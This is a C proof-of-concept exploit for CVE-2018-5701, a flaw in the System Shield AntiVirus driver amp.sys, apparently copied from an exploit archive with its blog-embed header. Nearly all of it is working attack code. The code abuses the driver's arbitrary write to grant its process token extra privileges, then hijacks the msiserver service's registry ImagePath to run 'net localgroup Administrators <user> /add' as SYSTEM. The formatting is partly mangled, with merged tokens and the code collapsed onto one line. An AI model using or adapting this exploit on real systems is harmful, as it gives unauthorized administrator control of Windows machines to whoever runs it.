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/* Exploit Title- System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation Date - 29th January 2018 Discovered by- Parvez Anwar (@parvezghh) Vendor Homepage- http://www.iolo.com/ Tested Version - 5.0.0.136 Driver Version - 5.4.11.1 - amp.sys Tested on OS - 64bit Windows 7 and Windows 10 (1709) CVE ID - CVE-2018-5701 Vendor fix url - Fixed Version- 0day Fixed driver ver - 0day Check blogpost for details: <blockquote class="wp-embedded-content" data-secret="nSwjHCvjJP"><a href="https://www.greyhathacker.net/?p=1006" target="_blank"rel="external nofollow" class="external" >Exploiting System Shield AntiVirus Arbitrary Write Vulnerability using SeTakeOwnershipPrivilege</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Exploiting System Shield AntiVirus Arbitrary Write Vulnerability using SeTakeOwnershipPrivilege” — GreyHatHacker.NET" src="https://www.greyhathacker.net/?p=1006&embed=true#?secret=S1gXrl32Ti#?secret=nSwjHCvjJP" data-secret="nSwjHCvjJP" frameborder="0" marginmarginscrolling="no"></iframe> */ #include <stdio.h> #include <windows.h> #include <aclapi.h> #pragma comment(lib,"advapi32.lib") #define MSIEXECKEY "MACHINE\\SYSTEM\\CurrentControlSet\\services\\msiserver" #define SystemHandleInformation 16 #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) typedef unsigned __int64 QWORD; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORTHandle; QWORD Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID) { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_HANDLE_INFORMATIONpSysHandleInfo; ULONG i; PSYSTEM_HANDLEpHandle; QWORD TokenAddress = 0; DWORD nSize = 4096; DWORD nReturn; BOOLtProcess; HANDLEhToken; if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE) { printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError()); return -1; } NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } do { nSize += 4096; pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH); printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken); for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++) { if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken) { TokenAddress = pSysHandleInfo->Handles[i].Object; } } HeapFree(GetProcessHeap(), 0, pSysHandleInfo); return TokenAddress; } int TakeOwnership() { HANDLE token; PTOKEN_USERuser = NULL; PACL pACL = NULL; EXPLICIT_ACCESSea; DWORDdwLengthNeeded; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token)) { printf("\n[-] OpenProcessToken failed %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] OpenProcessToken successful"); if (!GetTokenInformation(token, TokenUser, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) { printf("\n[-] Failed to initialize GetTokenInformation %d\n\n", GetLastError()); ExitProcess(1); } user = (PTOKEN_USER)LocalAlloc(0, dwLengthNeeded); if (!GetTokenInformation(token, TokenUser, user, dwLengthNeeded, &dwLengthNeeded)) { printf("\n[-] GetTokenInformation failed %d\n\n", GetLastError()); ExitProcess(1); } ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); // build DACL ea.grfAccessPermissions = KEY_ALL_ACCESS; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = (LPTSTR)user->User.Sid; if (SetEntriesInAcl(1, &ea, NULL, &pACL) != ERROR_SUCCESS) { printf("\n[-] SetEntriesInAcl failure\n\n"); ExitProcess(1); } printf("\n[+] SetEntriesInAcl successful"); // Take ownership if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL) != ERROR_SUCCESS) { printf("\n[-] Failed to obtain the object's ownership %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] Ownership '%s' successful", MSIEXECKEY); // Modify DACL if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL) != ERROR_SUCCESS) { printf("\n[-] Failed to modify the object's DACL %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] Object's DACL successfully modified"); LocalFree(pACL); CloseHandle(token); return 0; } int RestorePermissions() { PACL pOldDACL = NULL; PSID pSIDAdmin = NULL; SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY; printf("\n[*] Restoring all permissions and value"); // Restore registry value WriteToRegistry("%systemroot%\\system32\\msiexec.exe /V"); // Sid for the BUILTIN\Administrators group if (!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0,&pSIDAdmin)) { printf("\nAllocateAndInitializeSid failed %d\n\n", GetLastError()); ExitProcess(1); } // Restore key ownership if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL) != ERROR_SUCCESS) { printf("\n[-] Failed to restore the object's ownership %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] Object's ownership successfully restored"); // Take copy of parent key if (GetNamedSecurityInfo("MACHINE\\SYSTEM\\CurrentControlSet\\Services", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS) { printf("\n[-] Failed to copy parent key object's DACL %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] Parent key object's DACL successfully saved"); // Restore key permissions if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pOldDACL, NULL) != ERROR_SUCCESS) { printf("\n[-] Failed to restore the object's DACL %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] Object's DACL successfully restored"); FreeSid(pSIDAdmin); return 0; } int WriteToRegistry(char command[]) { HKEY hkeyhandle; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\msiserver", 0, KEY_WRITE, &hkeyhandle) != ERROR_SUCCESS) { printf("\n[-] Registry key failed to open %d\n\n", GetLastError()); ExitProcess(1); } if (RegSetValueEx(hkeyhandle, "ImagePath", 0, REG_EXPAND_SZ, (LPBYTE) command, strlen(command)) != ERROR_SUCCESS) { printf("\n[-] Registry value failed to write %d\n\n", GetLastError()); ExitProcess(1); } printf("\n[+] Registry key opened and value modified"); RegCloseKey(hkeyhandle); return 0; } int TriggerCommand() { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); if (!CreateProcess(NULL, "c:\\windows\\system32\\msiexec.exe /i poc.msi /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed %d", GetLastError()); ExitProcess(1); } printf("\n[+] c:\\windows\\system32\\msiexec.exe launched"); printf("\n[i] Account should now be in the local administrators group"); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } int main(int argc, char *argv[]) { QWORDTokenAddressTarget; QWORDSepPrivilegesOffset = 0x40; QWORDTokenAddress; HANDLE hDevice; char devhandle[MAX_PATH]; DWORDdwRetBytes = 0; QWORDinbuffer1[3] = {0}; QWORDinbuffer2[3] = {0}; QWORDptrbuffer[1] = {0}; // QWORD4 - Has to be 0 for arbitrary write value to be 0xfffffffe DWORDcurrentusersize; char currentuser[100]; char netcommand[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf("System Shield AntiVirus & AntiSpyware (amp.sys) Arbitrary Write EoP Exploit\n"); printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n"); printf("-------------------------------------------------------------------------------\n"); TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId()); printf("\n[i] Address of current process token 0x%p", TokenAddress); TokenAddressTarget = TokenAddress + SepPrivilegesOffset; printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget); inbuffer1[0] = 0x8;// QWORD1 - Cannot be more than 8. Also different values (<9) calculates to different sub calls inbuffer1[1] = ptrbuffer;// QWORD2 - Address used for read and write inbuffer1[2] = TokenAddressTarget+1; // QWORD3 - Arbitrary write address !!! inbuffer2[0] = 0x8; inbuffer2[1] = ptrbuffer; inbuffer2[2] = TokenAddressTarget+9; sprintf(devhandle, "\\\\.\\%s", "amp"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . .\n"); getch(); DeviceIoControl(hDevice, 0x00226003, inbuffer1, sizeof(inbuffer1), NULL, 0, &dwRetBytes, NULL); DeviceIoControl(hDevice, 0x00226003, inbuffer2, sizeof(inbuffer2), NULL, 0, &dwRetBytes, NULL); printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n"); CloseHandle(hDevice); currentusersize = sizeof(currentuser); if (!GetUserName(currentuser, ¤tusersize)) { printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError()); return -1; } printf("[*] Adding current user '%s' account to the local administrators group", currentuser); sprintf(netcommand, "net localgroup Administrators %s /add", currentuser); TakeOwnership(); WriteToRegistry(netcommand); TriggerCommand(); Sleep(1000); RestorePermissions(); printf("\n\n"); return 0; } |
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